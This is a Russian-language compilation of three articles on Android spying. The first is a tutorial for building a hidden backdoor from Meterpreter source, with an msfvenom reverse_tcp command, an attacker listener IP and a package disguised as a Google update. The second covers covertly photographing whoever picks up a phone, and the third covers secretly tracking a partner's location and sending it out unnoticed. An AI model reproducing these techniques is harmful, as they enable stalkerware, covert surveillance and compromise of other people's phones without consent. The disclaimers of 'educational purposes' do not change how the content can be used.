Как написать программу шпион для Андроид

Привет с вами DarkNode
Вся инфа в ознокомительных целях,автор не несет ответственности за область ее применения!
Сегодня будем учиться делать скрытый троян|бекдор на андроид средствами разработки на Android Studio и используя исходник от Android Meterpreter Payload с дальнейшим закреплением в системе.

Что нам понадобится:

Android Studio и Android SDK офф_сайт(

Ссылка скрыта от гостей

)
Android Meterpreter Payload source code (https://github.com/giovannicolonna/msfvenom-backdoor-android)
Ссылки так же будут в описании видео

Первый этап (Подготовительный):
Качаем SourceCode(исходник) метерпретора под андроид,ставим андроид студию и SDK (Этот момент я расписывать не буду
если у кого то возникнут трудности — стучитесь в личку)
(При установке SDK вы можете скачать пакеты AVD(Аndroid Virtual Device|Аднроид эмуляторов) для тестирования приложения на эмулированом устройстве,но как по мне то эти эмуляторы очень таки медленные и лучше тестировать на своем реальном девайсе или же использовать другой эмулятор (например genymotion или образы андроида для виртуалок) Ссылки на то как настроить студию с генимоушн или физическим девайсом я кину в конце статьи и в описания видео.
Ну я уже все скачал.Показывать процесс установки не буду.Опять же таки если трудности возникнут с установкой( но не должны))) ) -стучите личку.
Запускаем студию,создаем проект,даем ему имя. Выбираем минимальную версию API андроида,я выбрал IceCreamSandwich 4.0 так как

это самая распространенная версия Android по статистике разработчиков.
Выбираем приложения без активити (activity) — это означает что при запуске не будет никаких
визуальных окон (activity) и приложения просто запуститься себе и будет висеть в фоне.

Второй этап (Базовые настройки пейлоада)
Открываем наш проект в студии.

Далее распаковываем скаченный архив с гитхаба с исходниками метерпретера. Находим там папку backdooredapk где лежат наши java файлы и перетаскиваем их в наш проект в андроид студии.

Далее первым шагом же изменим в файле payload.java ip адрес нашего листенера(нашей атакующей машины,где у нас запущен метаслоит)

Затем нам будет интересен файл MyIntentService.java,в котором мы сможем опционально задать интервал времени через которое наш бекдор будет конектиться к машине атакуищего.
( long half_an_hour = (3600)/(2) ; //время в секундах между каждой попыткой открыть новую meterpreter сессию » Я для демонстрации поставлю минуту» )

Далее нам понадобится AndroidManifest.xml из архива. Возьмем от туда пользовательские разрешение (user.permisions) и все что между тегами
После того как мы копипасним пермишенс и апликейшн нам нужно будет опционально изменить(указать) имя активити(android:name) и имя службы(android:name)

Хотя студия сама нам это покажет что не нашла пути которое по дефолту был в тегах активити и сервиса(выделит их красным цветом).
Нужно заменить их (stage.metasploit.com на com.darknode.google_update в моем случае «путь(имя) к вашему проекту»)

Но в манифесте (AndroidManifest.xml) из архива есть один небольшой косяк .После копипаста его в наш проект нужно добавить права(permisions),так как там не полный нужный нам список прав.
Для этого возьмем и реверснем апк созданный с помощью msfvenon:
msfvenom -p android/meterpreter/reverse_tcp lhost=айпи lport=порт r > ./meter.apk (хотя айпи и порт можно рандомный,нам нужен только манифест от туда)

Скопируем разрешение с манифеста в наш проект

Далее осталось подписать наше приложения.

Подписали) Ну что ж давайте протестим.))

На этом наш этап пока закончим.Продолжения следует в следующей статье(видео)
Всем спасибо.

Источник: codeby.net

«Шпионская» камера в Android

Привет, %username%! Сегодня я хочу поделиться опытом разработки одного приложения для Android и трудностями, с которыми пришлось столкнуться при не совсем честном использовании камеры.
Идея приложения «Страж» жила внутри отдела разработки достаточно давно, но первая реализация появилась на платформе Symbian 2 года назад. Сама идея незамысловата – делать фотографии человека, взявшего телефон в руки. В первой реализации приложение было разделено на сигнальные модули и модули обратных вызовов.

Сигнальные модули отвечали за регистрацию изменений определённого состояния телефона. Например: извлечение или установка SIM-карты или карты памяти, входящий или исходящий звонок, или совсем хитрые – главным сенсором был сенсор акселерометра, который определял момент поднятия телефона со стола. Модули обратных вызовов – это действия, которые выполняются по сигналам сенсоров. Были реализованы фотография и запись звука.
При портировании приложения на платформу Android подход заметно поменялся. Да и вообще от старого приложения осталась только идея, оно перестало быть модульным, а из всего функционала остался только функционал фотографирования. О реализации этого функционала и хочется рассказать.

Делаем фотографию

• За фотографии в Android отвечает класс Camera.

1. Найти Id нужной камеры, используя методы getNumberOfCameras и getCameraInfo );
2. Получить ссылку на объект камеры методом open .
3. Получить текущие (по-умолчанию) настройки методом getParameters .
4. При необходимости изменить параметры и установить их заново методом setParameters ;
5. При необходимости установить ориентацию камеры методом setDisplayOrientation (НЕТ вертикальному видео!);
6. ВАЖНО: Передать в метод setPreviewDisplay правильно инициализированный объект SurfaceHolder. Если этого не сделать, то камера не сможет начать превью.
7. ВАЖНО: Вызвать метод startPreview ), который начнет обновлять SurfaceHolder. Вы ОБЯЗАНЫ начать превью перед тем как сделать снимок.
8. Наконец-то вызвать метод takePicture и дождаться когда данные вернуться в onPictureTaken ;
9. После вызова метода takePicture превью будет остановлено. Если нужно сделать еще фото, то придется вызвать startPreview снова;
10. Если же камера больше не нужна, то сначала нужно остановить превью методом stopPreview;
11. ВАЖНО: Вызвать метод release() чтобы освободить ресурсы камеры для других приложений. Приложение должно немедленно освобождать ресурсы камеры в методе onPause (и получать их обратно в методе onResume ).

1. Надо показывать превью.
2. На разных устройствах камера может работать по-разному.

1. Прозрачная Activity.
2. FrameLayout размером 1 на 1 пиксель в левом верхнем углу нашей Activity.

и создадим для нее следующую несложную разметку:

Объект SurfaceHolder создается и добавляется в разметку динамически. В принципе можно было добавить его сразу в разметку, данный момент был вынесен в код, чтобы не лезть в разметку при необходимости переопределить поведение объекта.
Итак, прозрачное Activity есть, SurfaceHolder создаем динамически, что дальше? Дальше дело за главным – инициализировать камеру и сделать фото. Идея здесь в том, чтобы сделать фото сразу на старте Activity и закрыть её как можно быстрее. Определим нашу Activity так:

public class CameraActivity extends Activity implements Camera.PictureCallback, SurfaceHolder.Callback < private static final int NO_FRONT_CAMERA = -1; private Camera mCamera; private boolean mPreviewIsRunning = false; private boolean mIsTakingPicture = false; public class CameraPreview extends SurfaceView < public CameraPreview(Context context) < super(context); >> .

Таким образом, в неё будут сыпаться события от SurfaceHolder’а (surfaceCreated, surfaceChanged, surfaceDestroyed) и Camera (onPictureTaken). Внутренний класс CameraPreview нужен исключительно для того, чтобы, как я отмечал выше, быстро и безболезненно внести правки в поведение нашего SurfaceView в случае необходимости. Далее приведу скопом методы Activity

Немного кода

Самое важное – порядок вызова методов. В документации говорится, что нужно вызвать и в каком порядке, но не указывается когда именно. Например, метод setPreviewDisplay. Если инициализировать камеру и вызвать этот метод сразу в onCreate или в onResume, то фото сделать не получится. Тогда откуда узнать, когда нужно вызывать этот метод?

Правильный ответ – из комментариев к методу setPreviewDisplay в исходниках. Вот небольшая выдержка оттуда:

The android.view.SurfaceHolder must already contain a surface when this method is called. If you are usingandroid.view.SurfaceView, you will need to register a android.view.SurfaceHolder.Callback withandroid.view.SurfaceHolder.addCallback(android.view.SurfaceHolder.Callback) and wait forandroid.view.SurfaceHolder.Callback.surfaceCreated(android.view.SurfaceHolder) before calling setPreviewDisplay() or starting preview.
This method must be called before startPreview().

onCreate(Bundle savedInstanceState) onResume() onPause() surfaceCreated(SurfaceHolder surfaceHolder) surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height) onStop() surfaceDestroyed(SurfaceHolder surfaceHolder)

1. Стартуем Activity на нужное событие (в моем случае — на включение экрана).
2. В onCreate создаем SurfaceHolder и регистрируем Activity для получения коллбэков.
3. Ждем вызова surfaceCreated и в нём инициализируем камеру.
4. После того, как камера инициализирована, пытаемся вызвать takePicture. Поскольку порядок вызова методов сильно зависит от аппарата, версии ОС и типа блокировки экрана, пытаемся в методах onResume| surfaceChanged стартовать превью, а в onPause останавливать её. При этом onResume| onPause могут случиться как до, так и после surfaceCreated, поэтому везде проверяем камеру на «инициализированность».
5. Метод surfaceChanged, согласно документации, гарантированно вызывается хотя бы раз после surfaceCreated, но теоретически может быть вызван еще сколько угодно раз в процессе получения фотографии. Добавляем переменную mPreviewIsRunning для того, чтобы ненароком не стартануть превью несколько раз. Стартуем превью, вызываем takePicture, ждём.
6. Ловим фотографию в onPictureTaken. Освобождаем камеру, создаем AsyncTask для сохранения картинки, закрываем Activity.

onCreate(Bundle savedInstanceState) onResume() onPause() surfaceCreated(SurfaceHolder surfaceHolder) surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height) onPictureTaken(byte[] bytes, Camera camera) onStop() surfaceDestroyed(SurfaceHolder surfaceHolder)

Заключение

Приложение работает и стабильно делает фотки на моём телефоне (Nexus 4). Кроме него тестировал и на других моделях, в том числе Motorola Droid RAZR и HTС Sensation. Как я уже упоминал выше – на разных телефонах камеры работают по-разному. На некоторых телефонах, когда делается фото, слышен звук затвора. На других – фотография повернута не в ту сторону и исправляется это только редактированием EXIF’а. На некоторых телефонах и вовсе (я полагаю, из-за особенностей оболочки) порядок вызова методов жизненного цикла Activity может заметно отличаться. Связано всё это не только с огромным количеством производителей устройств на Android’е, но и с невероятной фрагментацией самой ОС (интересную заметку по этому поводу можно найти на 57 странице 1 номера журнала «Хакер» за 2014 год). Поэтому очень сильно хотелось бы:

1. Добавить профили для разных моделей телефонов и делать фотографию с учетом этого профиля. Например, для телефонов, издающих звук затвора при фотографировании добавить мьют непосредственно перед фотографированием.
2. Хорошенько погонять приложение на большом наборе тестовых моделек и попытаться понять причину различия в вызове методов Activity.
3. Поглубже закопаться в исходники Android’а. Залезть, наконец, в нативную часть и разобраться, почему takePicture можно вызывать только после инициализации превью. Подумать, как еще можно с этим бороться.

Это все вопрос развития в недалеком будущем.
Сейчас же приложение доступно на Google.Play в текущей версии. Оно бесплатно, поскольку главной целью при его создании было исследование глубин Андроида. Для интересующихся ссылка на google.play.
Спасибо за внимание!

• Блог компании НТЦ Вулкан
• Разработка под Android

Источник: habr.com

Следим за своей девушкой с помощью Android

Сегодня мы проведем небольшое шпионское исследование и попробуем незаметно собрать данные о передвижении интересующего нас объекта — подруги, ребенка или, скажем, бабушки. Разумеется, с их письменно заверенного разрешения на сбор и обработку личной информации — как же иначе?

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Шпион, выйди вон

Общеизвестно, что любой современный смартфон (или планшет) оснащен модулем системы глобального позиционирования GPS, а то и православным ГЛОНАСС. Но даже если ты умудришься найти аппарат без него, карты Google (и не только) все равно смогут быстро обнаружить тебя на этом многострадальном голубом шарике. Для этого используется методика определения координат с помощью вышек сотовой связи, информацию о положении которых собирают абсолютно все игроки рынка геолокационных сервисов.

Ok, Google, вырубаем GPS и вынимаем симку, запускаем «Карты» и. внезапно снова видим свое положение. Оказывается, информации об окружающих точках Wi-Fi вполне достаточно для определения местоположения смартфона, пускай и не такого точного. В этой связи примечателен давний скандал с «картомобилем» Google, который тихо-мирно себе ездил и снимал улицы, попутно собирая названия всех точек доступа Wi-Fi. Тогда Google заявляла о некоем техническом сбое (!), но мы-то знаем.

Одним словом, смартфон почти всегда сможет определить свою ориентацию в родной Солнечной системе, чем мы и воспользуемся.

Операция «Спектр»

Театр начинается с вешалки, а приложение Android — с манифеста. Для доступа к GPS-приемнику необходимо добавить тег в секцию uses-permission:

Константа ACCESS_FINE_LOCATION задает высокий уровень точности для определения местоположения пользователя. Есть еще ACCESS_COARSE_LOCATION для более грубой геолокации, но нам она принципиально не интересна. К слову, приложение, которому было выдано полномочие fine, автоматически получает еще и полномочие coarse.

В Android для работы с геолокацией используется специальный интерфейс, предоставляемый системным объектом LocationManager:

String svcName = Context.LOCATION_SERVICE; LocationManager locationManager = (LocationManager) getSystemService(svcName);

Вторая геосоставляющая — LocationProvider, набор источников данных, каждый из которых отражает отдельную технологию поиска местоположения. Так, GPS_PROVIDER основывается на данных, полученных со спутников, NETWORK_PROVIDER шпионит за вышками сотовой связи и Wi-Fi.

Наверное, в твоей голове уже созрел коварный план — периодически запрашивать координаты у GPS_PROVIDER и NETWORK_PROVIDER (например, с помощью фонового сервиса) и отправлять их в командный центр. Такое решение в лоб, конечно, имеет право на жизнь, но разве популярнейший журнал о безопасности стал бы о нем писать? Во-первых, это заметно — любое включение GPS отображается в статусной строке значком (рис. 1); во-вторых, это банально сажает батарею, что может заставить владельца задуматься и поискать прожорливое приложение; и, в-третьих, фоновый трафик прекрасно виден в системном журнале.

Другие статьи в выпуске:

Xakep #203. Лесорубы Windows

• Содержание выпуска
• Подписка на «Хакер» -60%

Специально для нас Google придумала отдельный провайдер — PASSIVE_PROVIDER, который получает информацию о местоположении только в том случае, если ее запрашивает другое приложение. Благодаря этому наш шпион будет получать обновления скрытым образом, без активации какого-либо источника LocationProvider. Иными словами, стоит пользователю запустить карту, клиент социальной сети, выйти в интернет, отправить сообщение и далее по списку, как наше приложение уже будет в курсе (рис. 2–3). Обратной стороной пассивности (и скрытности) является полное доверие к получаемым данным, мы никак не сможем проверить их достоверность.

Координаты «Скайфолл»

Для получения координат от источника данных существует метод getLastKnownLocation:

String provider = LocationManager.PASSIVE_PROVIDER; Location location = locationManager.getLastKnownLocation(provider);

Возвращаемый объект Location содержит всю информацию о местонахождении, которую поддерживает источник. Он может включать в себя время, точность полученных координат, широту, долготу, высоту над уровнем моря (вот оно, вмешательство в частную жизнь!) и скорость. Все эти свойства доступны через геттеры:

private void updateWithNewLocation(Location location) < TextView myText = (TextView) findViewById(R.id.myText); String latLongString = «нет информации»; if (location != null) < double lat = location.getLatitude(); double lng = location.getLongitude(); latLongString = «Lat: » + lat + «nLong: » + lng; >myText.setText(«Местоположение:n» + latLongString); >

Как уже отмечалось, ни PASSIVE_PROVIDER, ни getLastKnownLocation не запрашивают у LocationProvider обновление местоположения. Если смартфон долго не обновлял текущую позицию, полученное значение может быть неактуальным или вовсе не существовать (например, сразу после загрузки).

Если ты снова подумал об использовании фонового сервиса для «дергания» PASSIVE_PROVIDER, спешу тебя огорчить: все гораздо проще. Наш выбор — широковещательный приемник (если не знаешь, что это, срочно загляни в сентябрьский «Хакер» или читай дальше).

Шаровая молния

Данные GPS, возвращаемые методом getLastKnownLocation или широковещательным приемником, не изменятся, пока хотя бы одна программа не запросит обновление местоположения. В итоге при первом запуске эмулятора getLastKnownLocation, скорее всего, вернет null, а приемник и вовсе откажется срабатывать.

Чтобы это исправить, можно воспользоваться следующим трюком:

Поместив это код в OnCreate активности, мы заставим приложение непрерывно опрашивать координаты, что приведет к срабатыванию нашего же широковещательного приемника. Разумеется, после отладки этот код на стероидах нужно выжечь раскаленным железом. Не забудь!

На секретной службе Ее Величества

Вкратце напомню: в качестве механизма передачи сообщений на уровне системы намерения (Intent) способны отправлять структурированные данные от процесса к процессу (например, информацию от GPS-модуля). Для отслеживания таких данных и реакции на них реализуются специальные объекты — широковещательные приемники. Основное их достоинство (для нас) — они срабатывают даже тогда, когда приложение находится в фоне, а некоторые (например, прием СМС) вообще не требуют запуска родительского приложения.

Каркас нашего приемника представлен ниже:

Метод onReceive будет срабатывать всякий раз при изменении координат устройства, но сначала приведенный приемник необходимо зарегистрировать в манифесте:

Далее мы должны настроить частоту срабатывания приемника, иначе любое сколь угодно малое движение объекта наблюдения в пространстве попросту заDoSит наш жучок координатами. В тестовом примере поместим соответствующий код в метод onCreate главной (и единственной) активности:

Метод requestLocationUpdates, используемый для инициирования регулярных обновлений местоположения, принимает в качестве первого параметра название конкретного типа провайдера — PASSIVE_PROVIDER. Далее следует минимальный интервал и дистанция между обновлениями. В приведенном коде обновления координат будут поступать не чаще, чем раз в минуту (60 000 мс), и только в случае перемещения объекта на 25 м от последней точки. Почему эти числа нужно выбирать как можно аккуратнее, читай на врезке.

Умри, но не сейчас

Android 5 очень внимательно следит за всеми приложениями, запрашивающими координаты (даже в пассивном режиме), и выискивает наиболее прожорливые. Чтобы не попасть в топ, старайся устанавливать как можно большие значения для минимального временного интервала и дистанции между обновлениями.

Последний параметр — ожидающее (или отложенное) намерение, которое и будет передано в широковещательный приемник LocationUpdateReceiver. Объекты PendingIntent используются для упаковки намерений, срабатывающих в ответ на будущие события, как, например, в нашем варианте — получение координат.

К слову, чтобы прекратить выполнение обновлений, вызывается метод removeUpdates:

locationManager.removeUpdates(pendingIntent);

Так как наша активность не предполагает никакого взаимодействия с пользователем, не содержит интерфейса, да и вообще работает негласно, логично будет ее закрыть, вызвав метод finish. При этом приемник LocationUpdateReceiver продолжит свою работу как ни в чем не бывало. Кстати, к статье я прикладываю небольшой исходник (естественно, только в мирных отладочных целях), в котором координаты выводятся на экран (рис. 4) в виде всплывающих сообщений (класс Toast).

И целого мира мало

Итак, у нас есть множество координат объекта, то есть трекинг его передвижения. Возникает вопрос: что с этим массивом информации делать и как его хранить? В сентябрьском выпуске «Хакера» была отличная статья, касающаяся темы хранения пользовательской информации. Для нашей цели подойдет любой из описанных методов — Shared Preferences, Internal/External Storage, SQLite Database или даже Cache Files.

Я выбрал базу SQLite со следующей таблицей:

private static final String SQL_CREATE_TABLE = «CREATE TABLE coord » + «(_id INTEGER PRIMARY KEY AUTOINCREMENT, utime NUMERIC, lat REAL, lng REAL)»;

О том, как вносить записи в базу SQLite, «Хакер» рассказывает регулярно (да ладно, когда это мы регулярно об этом писали? — Прим. ред.), так что я не буду касаться этой скучной темы, а вот об отправке накопленных данных поговорим.

Конечно, полученные координаты можно вовсе не помещать в базу данных, а отправлять сразу же, по факту, но весьма высока вероятность, что доступа в интернет в отдельно взятый момент времени не окажется. Кроме того, как мы уже говорили, фоновая передача данных довольно заметна (предполагаем, что у объекта обычный нерутованный смартфон). Другое дело Wi-Fi — отличная скорость, малое время отклика, да и вряд ли кому-нибудь придет в голову изучать трафик (бесплатно же!).

Из России с любовью

Геокодирование в Android позволяет переводить координаты (широту и долготу) в уличный адрес и наоборот. Чтобы получить строку с адресом, можно воспользоваться функцией

public String revGeocode(Location location) < if (location == null) return «»; double lat = location.getLatitude(); double lng = location.getLongitude(); StringBuilder sb = new StringBuilder(); Geocoder gc = new Geocoder(this, Locale.getDefault()); try < Listaddresses = gc.getFromLocation(lat, lng, 1); if (addresses.size() > 0) < Address address = addresses.get(0); for (int i = 0; i < address.getMaxAddressLineIndex(); i++) sb.append(address.getAddressLine(i)).append(«n»); sb.append(address.getLocality()).append(«n»); sb.append(address.getPostalCode()).append(«n»); sb.append(address.getCountryName()); >> catch (IOException e) < e.printStackTrace(); >return sb.toString(); >

Метод getFromLocation вернет список адресов, которые так или иначе совпадают с переданными координатами. В рассмотренном примере берется только первый адрес, из которого извлекаются все дополнительные строки, после чего добавляется область, почтовый индекс и страна. Точность этой информации зависит от детализации карт региона в сервисе Google Maps.

Следующий вопрос — что отправлять? Извлекать каждую строчку из базы и посылать? Можно, но как-то некрасиво, не по-хакерски, что ли. А что, если послать сразу всю базу в виде двоичного файла? Физически база находится в приватной директории приложения и доступна только нам, содержимое таблиц — только числа (размер будет минимальным), Wi-Fi — высокоскоростное подключение.

В общем, сплошные плюсы.

Ну а чтобы довести идею до высот перфекционизма, перед отправкой поместим файл базы в архив, благо файлы SQLite очень хорошо сжимаются. Прямо из коробки Android в паре с Java поддерживает работу с архивами формата ZIP. Для архивирования произвольного файла соорудим функцию:

public static final int BUFFER_SIZE = 1024; public void zipFile(String file, String zipFile) throws IOException < BufferedInputStream origin; ZipOutputStream out = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(zipFile))); try < byte data[] = new byte[BUFFER_SIZE]; FileInputStream fi = new FileInputStream(file); origin = new BufferedInputStream(fi, BUFFER_SIZE); try < ZipEntry entry = new ZipEntry(file.substring(file.lastIndexOf(«/») + 1)); out.putNextEntry(entry); int c; while ((c = origin.read(data, 0, BUFFER_SIZE)) != -1) out.write(data, 0, c); >finally < origin.close(); >> finally < out.close(); >>

Путь к базе данных можно получить следующим образом:

String file = Environment.getDataDirectory().getPath() + «//data//com.example.gpsspy//databases//» + «имя_базы»;

Здесь «com.example.gpsspy» — имя пакета нашего примера, а «имя_базы» задается при ее создании (без расширения). Таким образом, приведенную выше функцию можно использовать так:

String fileZip = file + «.zip»; try < zipFile(file, fileZip); >catch (IOException e)

Чтобы не было никаких подвисаний в программе, процедуру архивирования рекомендую вынести в фоновую задачу (AsyncTask).

Полученный архив можно смело отправлять по сети. Механизм доставки будет зависеть от выбранной технологии — это могут быть сокеты, локальная шара, web-интерфейс, анонимный FTP, Wi-Fi Direct и тому подобное.

При использовании сокетов подход может быть таким:

В любом случае потребуется разрешение работы в интернете:

После передачи файла базу необходимо очистить. Сделать это можно с помощью традиционной SQL-команды DELETE * FROM имя_таблицы, но размер файла в этом случае не уменьшится, либо можно стереть сам файл:

public static void deletePrivateFile(String Name)< File data = Environment.getDataDirectory(); String Path = «//data//com.example.gpsspy//databases//» + Name; File file = new File(data, Path); file.delete(); >

При следующем обращении к базе данных Android автоматически создаст новый файл.

Бриллианты навсегда

Для перевода старого доброго UNIX-time в формат, понятный нам и шпионам, можно использовать Java-объект «Календарь» (Calendar):

public String getDateFromUNIX(long uTime)

Лунный гонщик